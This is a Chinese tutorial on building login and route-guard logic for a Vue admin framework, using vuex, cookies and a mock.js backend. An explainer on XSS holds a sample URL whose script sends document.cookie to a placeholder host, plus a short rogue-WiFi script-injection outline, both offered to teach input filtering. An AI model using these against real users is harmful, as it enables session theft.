一步步帶你做vue後臺管理框架(三)——登入功能
系列教程《一步步帶你做vue後臺管理框架》第三課
線上體驗地址:立即體驗
認證又稱“驗證”、“鑑權”,是指通過一定的手段,完成對使用者身份的確認。身份驗證的方法有很多,基本上可分為:基於共享金鑰的身份驗證、基於生物學特徵的身份驗證和基於公開金鑰加密演算法的身份驗證。
登入鑑權功能是後臺管理專案的基本需求,登入控制,許可權分配,這些都是很普遍的功能。 在框架中已經做好了這部分的工作,我們來了解一下是怎麼做的,對以後在框架的基礎上做改進是有很大的幫助的。
在此之前思考過很多種方法去做登入功能,一種比較靠譜的方法是用一個Node服務端,利用Node+express+passport的技術棧
Passport專案是一個基於Nodejs的認證中介軟體,支援本地登入和第三方賬號登入驗證。Passport目的只是為了“登陸認證”,因此,程式碼乾淨,易維護,可以方便地整合到其他的應用中。
Web應用一般有2種登陸認證的形式:
-
- 使用者名稱和密碼認證登陸
- OAuth認證登陸
Passport可以根據應用程式的特點,配置不同的認證機制。
Passport是十分強大的,這個技術棧也是非常靠譜的,但是我們就一個純前端框架,需要再做一個Node的服務端嗎?維護起來多麻煩,況且違背了Unix哲學的'簡單原則'----儘量用簡單的方法解決問題----是'Unix哲學'的根本原則
既然這樣不太好,那就使用單頁應用強大的路由來做登入。
如果對vue-router還不熟悉的同學一定要找尤大大課後開小灶了,官方文件:vue-router
擷取一段介紹
你可以使用 router.beforeEach
註冊一個全域性的 before
鉤子:
const router = new VueRouter({ ... }) router.beforeEach((to, from, next) => { // ... })
當一個導航觸發時,全域性的 before
每個鉤子方法接收三個引數:
-
-
to: Route
: 即將要進入的目標 路由物件 -
from: Route
: 當前導航正要離開的路由 -
next: Function
: 一定要呼叫該方法來 resolve 這個鉤子。執行效果依賴next
方法的呼叫引數。-
next()
: 進行管道中的下一個鉤子。如果全部鉤子執行完了,則導航的狀態就是 confirmed (確認的)。 -
next(false)
: 中斷當前的導航。如果瀏覽器的 URL 改變了(可能是使用者手動或者瀏覽器後退按鈕),那麼 URL 地址會重置到from
路由對應的地址。 -
next('/')
或者next({ path: '/' })
: 跳轉到一個不同的地址。當前的導航被中斷,然後進行一個新的導航。
-
-
確保要呼叫 next
方法,否則鉤子就不會被 resolved。
所以wz框架採用的是攔截導航,判斷登入與否和是否有許可權,讓它完成繼續跳轉或重定向到登入介面。
這篇教程分為兩部分一部分講登入,另一部分講許可權驗證,因為篇幅太長所以需要用兩篇來寫。
登入流程是在客戶端傳送賬號密碼到服務端,服務端驗證成功後返回token儲存使用者的許可權,前端用Cookie把token儲存在本地,在路由跳轉(router.beforeEach)中判斷是否存在token,另外前端可以通過token請求服務端獲取userInfo,在vuex中儲存著使用者的資訊(使用者名稱,頭像,註冊時間等等)。
許可權控制就是在路由跳轉(router.beforeEach)中判斷token中的許可權和要去往(to)頁面的路由資訊(router meta)中配置的許可權是否匹配,同時我們的側邊欄也是根據許可權動態生成的,當所登入的賬號沒有許可權訪問時,就不顯示在側邊欄中(例如訪客登入就無法看到編輯器的側邊欄選項),這樣使用者既看不到側邊欄選項,又無法直接訪問到,雙重控制更安全。
登入介面只有兩個輸入框,因為不是對外網站所以就沒做註冊功能。
首先來看登入介面login.vue的邏輯。
src/views/login/index.vue
使用了iview的form表單,autoComplete屬性是自動填充預設值到輸入框裡,這裡是使用者名稱[email protected],
@keyup.enter.native="handleLogin"屬性,當按下enter鍵時會自動觸發handleLogin函式,不需要再點選登入按鈕,符合日常登入習慣。
當輸入賬號密碼點選登入按鈕會觸發handleLogin函式。
其中的邏輯是,獲取頁面表單中的資料(賬號密碼)通過表格validate驗證正確性,依照的規範就是我們在data屬性中定義的。
data() { const validateEmail = (rule, value, callback) => { if (!isWscnEmail(value)) { //export function isWscnEmail(str) { //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i; //return reg.test(str.trim()); //} callback(new Error('請輸入正確的合法郵箱')); } else { callback(); } }; const validatePass = (rule, value, callback) => { if (value.length < 6) { callback(new Error('密碼不能小於6位')); } else { callback(); } }; return { loginForm: { email: '[email protected]', password: '' }, loginRules: { email: [ { required: true, trigger: 'blur', validator: validateEmail } ], password: [ { required: true, trigger: 'blur', validator: validatePass } ] }, loading: false, showDialog: false } },
賬號密碼必須填寫,密碼不能小於6位,賬號必須是以wz.com結尾的電子郵箱地址, 或者可以定義更嚴密的規範。 如果不遵守制定的規範,將會無法登陸。
千萬不要相信使用者的輸入!千萬不要相信使用者的輸入!千萬不要相信使用者的輸入!
除非你想遭受XSS攻擊。
如果有同學還不瞭解什麼是XSS攻擊,那麼一定要趕快去了解。
下面敲黑板了!劃重點!
XSS是一種經常出現在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。比如這些程式碼包括HTML程式碼和客戶端指令碼。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種型別的漏洞由於被黑客用來編寫危害性更大的網路釣魚(Phishing)攻擊而變得廣為人知。對於跨站指令碼攻擊,黑客界共識是:跨站指令碼攻擊是新型的“緩衝區溢位攻擊“,而JavaScript是新型的“ShellCode”。
其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:
1. Reflected XSS(基於反射的XSS攻擊)
2. Stored XSS(基於儲存的XSS攻擊)
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)
Reflected XSS
基於反射的XSS攻擊,主要依靠站點服務端返回指令碼,在客戶端觸發執行從而發起Web攻擊。
例子:
1. 做個假設,在淘寶搜尋書籍,搜不到書的時候顯示提交的名稱。
2. 在搜尋框搜尋內容,填入“<script>alert('handsome boy')</script>”, 點選搜尋。
3. 當前端頁面沒有對返回的資料進行過濾,直接顯示在頁面上, 這時就會alert那個字元串出來。
4. 進而可以構造獲取使用者cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點選這個地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
Stored XSS
基於儲存的XSS攻擊,是通過發表帶有惡意跨域指令碼的帖子/文章,從而把惡意指令碼儲存在伺服器,每個訪問該帖子/文章的人就會觸發執行。
例子:
1. 發一篇文章,裡面包含了惡意指令碼
今天天氣不錯啊!<script>alert('handsome boy')</script>
2. 後端沒有對文章進行過濾,直接儲存文章內容到資料庫。
3. 當其他看這篇文章的時候,包含的惡意指令碼就會執行。
PS:因為大部分文章是儲存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的閘道器會往你訪問的任何頁面插入一段指令碼或者是直接返回一個釣魚頁面,從而植入惡意指令碼。這種直接存在於頁面,無須經過伺服器返回就是基於本地的XSS攻擊。
例子:
1. 提供一個免費的wifi。
1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設定為我們的電腦IP。
2. 之後連上wifi的使用者開啟任何網站,請求都將被我們擷取到。我們根據http頭中的host欄位來轉發到真正伺服器上。
3. 收到伺服器返回的資料之後,我們就可以實現網頁尾本的注入,並返回給使用者。
4. 當注入的指令碼被執行,使用者的瀏覽器將依次預載入各大網站的常用指令碼庫。
所以一定要對使用者的輸入做一個過濾。否則後臺都被別人給黑了,老闆不炒你魷魚才怪。
當我們輸入不正確的賬號密碼時將會自動驗證(輸入完立即驗證而不是等到點選登入才驗證),如果不正確將無法登入。
如果符合驗證規則,則會觸發vuex中的LoginByEmail
src/store/modules/user.js
import { loginByEmail, logout, getInfo } from 'api/login';
LoginByEmail({ commit }, userInfo) { const email = userInfo.email.trim(); return new Promise((resolve, reject) => { loginByEmail(email, userInfo.password).then(response => { const data = response.data; console.log(response.data); Cookies.set('Admin-Token', response.data.token); commit('SET_TOKEN', data.token); commit('SET_EMAIL', email); resolve(); }).catch(error => { reject(error); }); }); },
把email和password傳送到伺服器,接受返回來的資料,將token存入 Cookies,並觸發vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全域性狀態裡。
loginByEmail
src/api/login.js
export function loginByEmail(email, password) { const data = { email, password }; return fetch({ url: '/login/loginbyemail', method: 'post', data }); }
傳送fetch請求到指定的url。這裡的url是本地伺服器的地址,本專案因為是純前端專案,所以使用了 mock.js。
有了這個外掛,前端就可以獨立後端開發。
Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);
在mock.js中這行程式碼截獲了所有/login/loginbyemail 路徑的請求,使用loginAPI.loginByEmail處理這個請求
const userMap = { admin: { role: ['admin'], token: 'admin', introduction: '我是超級管理員', name: 'Super Admin', uid: '001' }, editor: { role: ['editor'], token: 'editor', introduction: '我是編輯', name: 'Normal Editor', uid: '002' }, developer: { role: ['develop'], token: 'develop', introduction: '我是開發', name: '工程師小王', uid: '003' } } export default { loginByEmail: config => { const { email } = JSON.parse(config.body); return userMap[email.split('@')[0]]; }, getInfo: config => { const { token } = param2Obj(config.url); if (userMap[token]) { return userMap[token]; } else { return Promise.reject('a'); } }, logout: () => 'success' };
可以看到loginByEmail的作用是把賬戶資訊返回前端,例如一個使用者是管理員,就把匹配到的admin的賬戶資訊返回去。
當得到了admin的賬戶資訊,就把它儲存在cookie裡
Cookies.set('Admin-Token', response.data.token);
這樣一來在login.js中判斷token是否存在,如果存在token,就繼續路由跳轉,如果不存在,就跳轉到登入介面。
src/login.js
router.beforeEach((to, from, next) => { NProgress.start() // 開啟Progress if (store.getters.token) { // 判斷是否有token,從vuex中取出 if (to.path === '/login') { next({ path: '/' }) } else { if (store.getters.roles.length === 0) { // 判斷當前使用者是否已拉取完user_info資訊 store.dispatch('GetInfo').then(res => { // 拉取user_info const roles = res.data.role store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可訪問的路由表 router.addRoutes(store.getters.addRouters) // 動態新增可訪問路由表 next({ ...to }) // hack方法 確保addRoutes已完成 }) }).catch(() => { store.dispatch('FedLogOut').then(() => { next({ path: '/login' }) }) }) } else { // 沒有動態改變許可權的需求可直接next() 刪除下方許可權判斷 ↓ if (hasPermission(store.getters.roles, to.meta.role)) { next()// } else { next({ path: '/', query: { noGoBack: true }}) } // 可刪 ↑ } } } else { if (whiteList.indexOf(to.path) !== -1) { // 在免登入白名單,直接進入 next() } else { next('/login') // 否則全部重定向到登入頁 NProgress.done() // 在hash模式下 改變手動改變hash 重定向回來 不會觸發afterEach 暫時hack方案 ps:history模式下無問題,可刪除該行! } } })
src/store/modules/user.js
vuex中是這樣定義的,相當於直接Cookies.get(),為什麼要分開呢?顯然是為了模組化,方便日後改動專案。
const user = { state: { user: '', status: '', email: '', code: '', uid: undefined, auth_type: '', token: Cookies.get('Admin-Token'), name: '', avatar: '', introduction: '', roles: [], setting: { articlePlatform: [] } },
vuex會從cookies裡面取得token的值,這樣就能通過驗證去往路由的下個頁面。
大家有什麼問題最好去我github提issues,文章評論評論較長時間才檢視一次。
接下來的教程講一下封裝UI元件、router、webpack、node命令列構建工具等內容。
希望大家看了這系列教程都能製作出自己的前端框架,從而在工作中得心應手。
如果喜歡就點個start鼓勵下作者吧。
線上體驗地址:立即體驗